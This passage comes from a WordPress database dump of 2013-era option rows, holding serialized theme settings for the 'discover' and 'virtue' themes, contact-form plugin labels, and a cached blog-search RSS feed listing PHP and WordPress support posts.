text3\";s:0:\"\";s:9:\"box_link3\";s:0:\"\";s:9:\"box_head4\";s:0:\"\";s:9:\"box_text4\";s:0:\"\";s:9:\"box_link4\";s:0:\"\";s:8:\"tb_color\";s:7:\"#fd7800\";s:10:\"hbut_color\";s:7:\"#fd7800\";s:13:\"hbuthov_color\";s:7:\"#ce6200\";s:9:\"mli_color\";s:7:\"#444444\";s:11:\"mliul_color\";s:7:\"#fd7800\";s:10:\"link_color\";s:7:\"#fd7800\";s:15:\"side_link_color\";s:7:\"#fd7800\";s:17:\"footer_link_color\";s:7:\"#fd7800\";s:16:\"bmeta_link_color\";s:7:\"#fd7800\";s:14:\"slider_caption\";s:2:\"on\";s:12:\"welcome_head\";s:0:\"\";s:12:\"welcome_text\";s:0:\"\";s:14:\"welcome_button\";s:0:\"\";s:19:\"welcome_button_link\";s:0:\"\";s:12:\"slider_head1\";s:0:\"\";s:12:\"slider_link1\";s:0:\"\";s:12:\"slider_head2\";s:0:\"\";s:12:\"slider_link2\";s:0:\"\";s:9:\"footer_cr\";s:0:\"\";s:7:\"go_code\";s:0:\"\";s:10:\"custom_css\";s:0:\"\";}','yes'),(184,'theme_mods_discover','a:9:{i:0;b:0;s:16:\"header_textcolor\";s:6:\"fd7800\";s:16:\"background_color\";s:6:\"ffffff\";s:16:\"background_image\";s:0:\"\";s:17:\"background_repeat\";s:6:\"repeat\";s:21:\"background_position_x\";s:4:\"left\";s:21:\"background_attachment\";s:5:\"fixed\";s:18:\"nav_menu_locations\";a:1:{s:7:\"primary\";i:0;}s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1377514512;s:4:\"data\";a:5:{s:19:\"wp_inactive_widgets\";a:0:{}s:19:\"primary-widget-area\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:24:\"first-footer-widget-area\";a:0:{}s:25:\"second-footer-widget-area\";N;s:24:\"third-footer-widget-area\";N;}}}','yes'),(190,'theme_mods_virtue','a:125:{s:12:\"introduction\";s:21:\"<h3>Logo Options</h3>\";s:12:\"boxed_layout\";s:4:\"wide\";s:6:\"topbar\";i:1;s:13:\"footer_layout\";s:5:\"fourc\";s:10:\"logo_width\";s:3:\"260\";s:11:\"logo_height\";s:2:\"60\";s:9:\"font_logo\";s:5:\"Arial\";s:15:\"font_logo_style\";a:4:{s:4:\"size\";s:4:\"38px\";s:5:\"style\";s:6:\"normal\";s:6:\"height\";s:4:\"40px\";s:5:\"color\";s:0:\"\";}s:16:\"logo_padding_top\";s:2:\"25\";s:19:\"logo_padding_bottom\";s:2:\"10\";s:15:\"menu_margin_top\";s:2:\"40\";s:18:\"menu_margin_bottom\";s:2:\"10\";s:13:\"choose_slider\";s:4:\"none\";s:11:\"slider_size\";s:3:\"400\";s:15:\"slider_autoplay\";i:1;s:16:\"slider_pausetime\";s:4:\"7000\";s:10:\"trans_type\";s:4:\"fade\";s:16:\"slider_transtime\";s:3:\"600\";s:18:\"info_mobile_slider\";s:72:\"<h3>Create a more lightweight home slider for your mobile visitors.</h3>\";s:20:\"choose_mobile_slider\";s:4:\"none\";s:18:\"mobile_slider_size\";s:3:\"300\";s:22:\"mobile_slider_autoplay\";i:1;s:23:\"mobile_slider_pausetime\";s:4:\"7000\";s:17:\"mobile_trans_type\";s:4:\"fade\";s:23:\"mobile_slider_transtime\";s:3:\"600\";s:15:\"homepage_layout\";a:2:{s:8:\"disabled\";a:4:{s:7:\"placebo\";s:7:\"placebo\";s:10:\"block_five\";s:17:\"Latest Blog Posts\";s:9:\"block_six\";s:18:\"Portfolio Carousel\";s:11:\"block_seven\";s:9:\"Icon Menu\";}s:7:\"enabled\";a:3:{s:7:\"placebo\";s:7:\"placebo\";s:9:\"block_one\";s:10:\"Page Title\";s:10:\"block_four\";s:12:\"Page Content\";}}s:18:\"info_blog_settings\";s:27:\"<h3>Home Blog Settings</h3>\";s:23:\"info_portfolio_settings\";s:23:\"<h3>Home Icon Menu</h3>\";s:14:\"portfolio_type\";s:3:\"All\";s:18:\"info_shop_settings\";s:35:\"<h3>Shop Archive Page Settings</h3>\";s:14:\"show_cartcount\";i:1;s:11:\"shop_layout\";s:4:\"full\";s:12:\"shop_sidebar\";s:15:\"sidebar-primary\";s:17:\"products_per_page\";s:2:\"12\";s:11:\"shop_rating\";i:1;s:21:\"info_product_settings\";s:30:\"<h3>Product Page Settings</h3>\";s:12:\"product_tabs\";i:1;s:16:\"related_products\";i:1;s:15:\"skin_stylesheet\";s:11:\"default.css\";s:19:\"info_main_backgroun\";s:99:\"<h3>Main Conent Background</h3>\n										        This sets your background for page content areas.\";s:22:\"info_header_background\";s:99:\"<h3>Header Background</h3>\n										              This sets your background for your sites header.\";s:20:\"info_menu_background\";s:108:\"<h3>Secondary Menu Background</h3>\n										              This sets your background for the secondary menu.\";s:23:\"info_feature_background\";s:118:\"<h3>Featured Content Background</h3>\n										        This sets your background of your sites featured content areas.\";s:22:\"info_footer_background\";s:84:\"<h3>Footer Background</h3>\n										This sets your background for your sites footer\";s:20:\"info_body_background\";s:105:\"<h3>Body Background</h3>\n										If Site is Boxed Layout, this will determine the body tags background.\";s:16:\"Info_header_Font\";s:28:\"<h3>Header Font Options</h3>\";s:11:\"font_header\";s:5:\"Arial\";s:7:\"font_h1\";a:4:{s:4:\"size\";s:4:\"38px\";s:5:\"style\";s:6:\"normal\";s:6:\"height\";s:4:\"40px\";s:5:\"color\";s:0:\"\";}s:7:\"font_h2\";a:4:{s:4:\"size\";s:4:\"32px\";s:5:\"style\";s:6:\"normal\";s:6:\"height\";s:4:\"40px\";s:5:\"color\";s:0:\"\";}s:7:\"font_h3\";a:4:{s:4:\"size\";s:4:\"28px\";s:5:\"style\";s:6:\"normal\";s:6:\"height\";s:4:\"40px\";s:5:\"color\";s:0:\"\";}s:7:\"font_h4\";a:4:{s:4:\"size\";s:4:\"24px\";s:5:\"style\";s:6:\"normal\";s:6:\"height\";s:4:\"40px\";s:5:\"color\";s:0:\"\";}s:7:\"font_h5\";a:4:{s:4:\"size\";s:4:\"18px\";s:6:\"height\";s:4:\"14px\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:4:\"24px\";}s:14:\"Info_body_Font\";s:26:\"<h3>Body Font Options</h3>\";s:9:\"font_body\";s:5:\"Arial\";s:6:\"font_p\";a:4:{s:4:\"size\";s:4:\"14px\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:0:\"\";s:6:\"height\";s:4:\"20px\";}s:14:\"Info_Menu_Font\";s:27:\"<h3>Menus Font Options</h3>\";s:9:\"font_menu\";s:5:\"Arial\";s:17:\"font_primary_menu\";a:4:{s:4:\"size\";s:4:\"12px\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:0:\"\";s:6:\"height\";s:4:\"18px\";}s:19:\"font_secondary_menu\";a:4:{s:4:\"size\";s:4:\"18px\";s:5:\"style\";s:6:\"normal\";s:5:\"color\";s:0:\"\";s:6:\"height\";s:4:\"22px\";}s:13:\"contact_email\";s:19:\"example@example.com\";s:11:\"footer_text\";s:49:\"[copyright] [the-year] [site-name] [theme-credit]\";s:13:\"info_sidebars\";s:24:\"<h3>Create Sidebars</h3>\";s:8:\"info_seo\";s:123:\"<h3>SEO General Options</h3>\n					             Set your Sitewide SEO Options here. Each page also has it\'s own SEO options.\";s:8:\"info_CSS\";s:19:\"<h3>Custom CSS</h3>\";s:0:\"\";s:0:\"\";s:11:\"logo_upload\";s:0:\"\";s:13:\"x2logo_upload\";s:0:\"\";s:15:\"logo_below_text\";s:0:\"\";s:17:\"logo_padding_left\";s:1:\"0\";s:18:\"logo_padding_right\";s:1:\"0\";s:11:\"home_slider\";a:1:{i:1;a:5:{s:5:\"order\";s:1:\"1\";s:5:\"title\";s:0:\"\";s:3:\"url\";s:0:\"\";s:4:\"link\";s:0:\"\";s:11:\"description\";s:0:\"\";}}s:15:\"slider_captions\";i:0;s:11:\"video_embed\";s:0:\"\";s:13:\"mobile_slider\";s:1:\"0\";s:17:\"mobile_rev_slider\";s:0:\"\";s:18:\"home_mobile_slider\";a:1:{i:1;a:5:{s:5:\"order\";s:1:\"1\";s:5:\"title\";s:0:\"\";s:3:\"url\";s:0:\"\";s:4:\"link\";s:0:\"\";s:11:\"description\";s:0:\"\";}}s:18:\"mobile_video_embed\";s:0:\"\";s:10:\"blog_title\";s:0:\"\";s:15:\"portfolio_title\";s:0:\"\";s:18:\"porfolio_show_type\";s:1:\"0\";s:9:\"icon_menu\";a:1:{i:1;a:5:{s:5:\"order\";s:1:\"1\";s:5:\"title\";s:0:\"\";s:6:\"icon_o\";s:0:\"\";s:3:\"url\";s:0:\"\";s:4:\"link\";s:0:\"\";}}s:13:\"primary_color\";s:0:\"\";s:15:\"primary20_color\";s:0:\"\";s:16:\"content_bg_color\";s:0:\"\";s:14:\"content_bg_img\";s:0:\"\";s:17:\"content_bg_repeat\";s:0:\"\";s:21:\"content_bg_placementx\";s:0:\"\";s:21:\"content_bg_placementy\";s:0:\"\";s:15:\"header_bg_color\";s:0:\"\";s:13:\"header_bg_img\";s:0:\"\";s:16:\"header_bg_repeat\";s:0:\"\";s:20:\"header_bg_placementx\";s:0:\"\";s:20:\"header_bg_placementy\";s:0:\"\";s:13:\"menu_bg_color\";s:0:\"\";s:11:\"menu_bg_img\";s:0:\"\";s:14:\"menu_bg_repeat\";s:0:\"\";s:18:\"menu_bg_placementx\";s:0:\"\";s:18:\"menu_bg_placementy\";s:0:\"\";s:13:\"feat_bg_color\";s:0:\"\";s:11:\"feat_bg_img\";s:0:\"\";s:14:\"feat_bg_repeat\";s:0:\"\";s:18:\"feat_bg_placementx\";s:0:\"\";s:18:\"feat_bg_placementy\";s:0:\"\";s:15:\"footer_bg_color\";s:0:\"\";s:13:\"footer_bg_img\";s:0:\"\";s:16:\"footer_bg_repeat\";s:0:\"\";s:20:\"footer_bg_placementx\";s:0:\"\";s:20:\"footer_bg_placementy\";s:0:\"\";s:14:\"boxed_bg_color\";s:0:\"\";s:12:\"boxed_bg_img\";s:0:\"\";s:15:\"boxed_bg_repeat\";s:0:\"\";s:19:\"boxed_bg_placementx\";s:0:\"\";s:19:\"boxed_bg_placementy\";s:0:\"\";s:14:\"boxed_bg_fixed\";s:0:\"\";s:14:\"portfolio_link\";s:14:\"Select a page:\";s:14:\"custom_favicon\";s:0:\"\";s:10:\"c_sidebars\";a:1:{i:1;a:2:{s:5:\"order\";s:1:\"1\";s:5:\"title\";s:0:\"\";}}s:16:\"google_analytics\";s:0:\"\";s:13:\"seo_sitetitle\";s:0:\"\";s:19:\"seo_sitedescription\";s:0:\"\";s:10:\"custom_css\";s:0:\"\";s:9:\"of_backup\";s:0:\"\";s:9:\"smof_init\";s:31:\"Mon, 26 Aug 2013 11:11:35 +0000\";s:18:\"nav_menu_locations\";a:5:{s:18:\"primary_navigation\";i:2;s:20:\"secondary_navigation\";i:0;s:17:\"mobile_navigation\";i:0;s:17:\"topbar_navigation\";i:0;s:17:\"footer_navigation\";i:0;}s:16:\"header_textcolor\";s:0:\"\";}','yes'),(208,'tribe_last_save_post','1377521615','yes'),(213,'cntctfrm_options','a:51:{s:19:\"cntctfrm_user_email\";s:5:\"admin\";s:21:\"cntctfrm_custom_email\";s:0:\"\";s:21:\"cntctfrm_select_email\";s:4:\"user\";s:19:\"cntctfrm_from_email\";s:4:\"user\";s:26:\"cntctfrm_custom_from_email\";s:0:\"\";s:26:\"cntctfrm_additions_options\";i:0;s:19:\"cntctfrm_attachment\";i:0;s:32:\"cntctfrm_attachment_explanations\";i:1;s:18:\"cntctfrm_send_copy\";i:0;s:19:\"cntctfrm_from_field\";s:9:\"Webdesign\";s:28:\"cntctfrm_display_phone_field\";i:0;s:30:\"cntctfrm_display_address_field\";i:0;s:28:\"cntctfrm_required_name_field\";i:1;s:31:\"cntctfrm_required_address_field\";i:0;s:29:\"cntctfrm_required_email_field\";i:1;s:29:\"cntctfrm_required_phone_field\";i:0;s:31:\"cntctfrm_required_subject_field\";i:1;s:31:\"cntctfrm_required_message_field\";i:1;s:25:\"cntctfrm_display_add_info\";i:1;s:26:\"cntctfrm_display_sent_from\";i:1;s:26:\"cntctfrm_display_date_time\";i:1;s:20:\"cntctfrm_mail_method\";s:7:\"wp-mail\";s:28:\"cntctfrm_display_coming_from\";i:1;s:27:\"cntctfrm_display_user_agent\";i:1;s:17:\"cntctfrm_language\";a:0:{}s:21:\"cntctfrm_change_label\";i:0;s:19:\"cntctfrm_name_label\";a:1:{s:2:\"en\";s:5:\"Name:\";}s:22:\"cntctfrm_address_label\";a:1:{s:2:\"en\";s:8:\"Address:\";}s:20:\"cntctfrm_email_label\";a:1:{s:2:\"en\";s:14:\"Email Address:\";}s:20:\"cntctfrm_phone_label\";a:1:{s:2:\"en\";s:13:\"Phone number:\";}s:22:\"cntctfrm_subject_label\";a:1:{s:2:\"en\";s:8:\"Subject:\";}s:22:\"cntctfrm_message_label\";a:1:{s:2:\"en\";s:8:\"Message:\";}s:25:\"cntctfrm_attachment_label\";a:1:{s:2:\"en\";s:11:\"Attachment:\";}s:24:\"cntctfrm_send_copy_label\";a:1:{s:2:\"en\";s:14:\"Send me a copy\";}s:21:\"cntctfrm_submit_label\";a:1:{s:2:\"en\";s:6:\"Submit\";}s:19:\"cntctfrm_name_error\";a:1:{s:2:\"en\";s:22:\"Your name is required.\";}s:22:\"cntctfrm_address_error\";a:1:{s:2:\"en\";s:20:\"Address is required.\";}s:20:\"cntctfrm_email_error\";a:1:{s:2:\"en\";s:34:\"A valid email address is required.\";}s:20:\"cntctfrm_phone_error\";a:1:{s:2:\"en\";s:25:\"Phone number is required.\";}s:22:\"cntctfrm_subject_error\";a:1:{s:2:\"en\";s:20:\"Subject is required.\";}s:22:\"cntctfrm_message_error\";a:1:{s:2:\"en\";s:25:\"Message text is required.\";}s:25:\"cntctfrm_attachment_error\";a:1:{s:2:\"en\";s:25:\"File format is not valid.\";}s:32:\"cntctfrm_attachment_upload_error\";a:1:{s:2:\"en\";s:18:\"File upload error.\";}s:30:\"cntctfrm_attachment_move_error\";a:1:{s:2:\"en\";s:31:\"The file could not be uploaded.\";}s:30:\"cntctfrm_attachment_size_error\";a:1:{s:2:\"en\";s:23:\"This file is too large.\";}s:22:\"cntctfrm_captcha_error\";a:1:{s:2:\"en\";s:28:\"Please fill out the CAPTCHA.\";}s:19:\"cntctfrm_form_error\";a:1:{s:2:\"en\";s:44:\"Please make corrections below and try again.\";}s:26:\"cntctfrm_action_after_send\";i:1;s:19:\"cntctfrm_thank_text\";a:1:{s:2:\"en\";s:28:\"Thank you for contacting us.\";}s:21:\"cntctfrm_redirect_url\";s:0:\"\";s:29:\"cntctfrm_delete_attached_file\";s:1:\"0\";}','yes'),(225,'_transient_timeout_feed_eebbfad72cfaf76c4edc5695ad275b05','1377623784','no'),(226,'_transient_feed_eebbfad72cfaf76c4edc5695ad275b05','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:4:\"\n  \n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:83:\"\n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n  \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:4:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:53:\"link:http://localhost/wordpress/ - Google Blog Search\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://www.google.com/search?ie=utf-8&q=link:http://localhost/wordpress/&tbm=blg&tbs=sbd:1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"About 68,400 results\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"item\";a:10:{i:0;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"Community News: PSR-4 Autloader Proposal now in Draft Status &lt;b&gt;...&lt;/b&gt;\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://blog.phpmoz.org/community-news-psr-4-autloader-proposal-now-in-draft-status/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:264:\"<em>Link</em>: <em>http</em>://www.reddit.com/r/PHP/comments/1kvr1f/the_new_autoloading_standard_psr4_passes_entrance. Posted in Php News Tags: new patch, Php News, update php. « Beginner PHP Tutorial – 111 – phpMyAdmin Part 2. You can leave a&nbsp;<b>...</b>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"PHP Blog\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"phpmoz\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Sat, 24 Aug 2013 03:10:02 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:79:\"[CODING] How to install Automod and Thanks Mod on phpBB3 &lt;b&gt;...&lt;/b&gt;\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"http://evyned.com/coding-how-to-install-automod-and-thanks-mod-on-phpbb3/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:279:\"First of all , You must download Automod from the <em>link</em> below : [AutoMOD]. Then You must extract files from archive and move them to Your forum folder . Type in Your Browser <em>link</em> : <em>http</em>://<em>localhost</em>/forum/install and click on the submit button .\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Evyned\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:7:\"Ciprian\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Wed, 21 Aug 2013 23:14:55 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:107:\"Not as advertised « Support Forum | Kriesi.at - &lt;b&gt;Wordpress&lt;/b&gt; Themes &lt;b&gt;...&lt;/b&gt;\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:52:\"http://www.kriesi.at/support/topic/not-as-advertised\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:313:\"I&#39;m editing the website in <em>localhost</em> and when previewing the site initially the web address says as much but when clicking on &#39;Home&#39;, &#39;Events&#39; and others it <em>links</em> to kriesi.at. I can&#39;t <b>....</b> See: <em>http</em>://codex.<em>wordpress</em>.org/Appearance_Menus_Screen.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Support Forum - Recent Posts\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:10:\"Lillieleen\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Wed, 21 Aug 2013 10:39:53 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"Integration of Qr Codes in your Marketing or Advertising\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://readmyrear.com/blog/?p=3\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:272:\"This file has the following configurations: MySQL settings, Table Prefix, * Secret Keys, <em>WordPress</em> Language, and ABSPATH. You can find more information * by visiting {@<em>link http</em>://codex.<em>wordpress</em>.org/Editing_wp-config.php Editing&nbsp;<b>...</b>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"readmyrear.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:10:\"readmyrear\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Mon, 19 Aug 2013 01:02:19 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"Jersey Client: java.net.ProtocolException: Server redirected too &lt;b&gt;...&lt;/b&gt;\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:144:\"http://www.markhneedham.com/blog/2013/08/17/jersey-client-java-net-protocolexception-server-redirected-too-many-timessetting-cookies-on-request/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:623:\"Server: Jetty(8.1.8.v20121106).... ########### T 127.0.0.1:59707 -&gt; 127.0.0.1:59680 [AP] GET /auth/callback?code=timey-wimey&amp;state=the-state <em>HTTP</em>/1.1..User-Agent: Java/1.6.0_45..Host: <em>localhost</em>:59680..Accept: text/html, image/gif, image/ jpeg, *; q=.2, */*; q=.2..Connection: keep-alive. <b>....</b> &lt;<em>link</em> rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr ef=&quot;css/bootstrap-responsive.css&quot;&gt;. &lt;<em>link</em> rel=&quot;stylesheet&quot; <b>....</b> The Journalist template by Lucian E. Marin — Built for <em>WordPress</em>. Disqus seems to be taking&nbsp;<b>...</b>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Mark Needham\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Mark Needham\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Sat, 17 Aug 2013 20:25:28 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:102:\"Propulsion + WPML - can&amp;#39;t add more than one image to &amp;quot;Featured &lt;b&gt;...&lt;/b&gt;\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:97:\"http://www.kriesi.at/support/topic/propulsion-wpml-cant-add-more-than-one-image-to-featured-media\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:252:\"Hi. I have built a website for a client using Propulsion. Now they need it in another language too. I found threads stating Propulsion and WPML works fine. I bought WPML and startet looking into it on a <em>localhost</em> copy of that 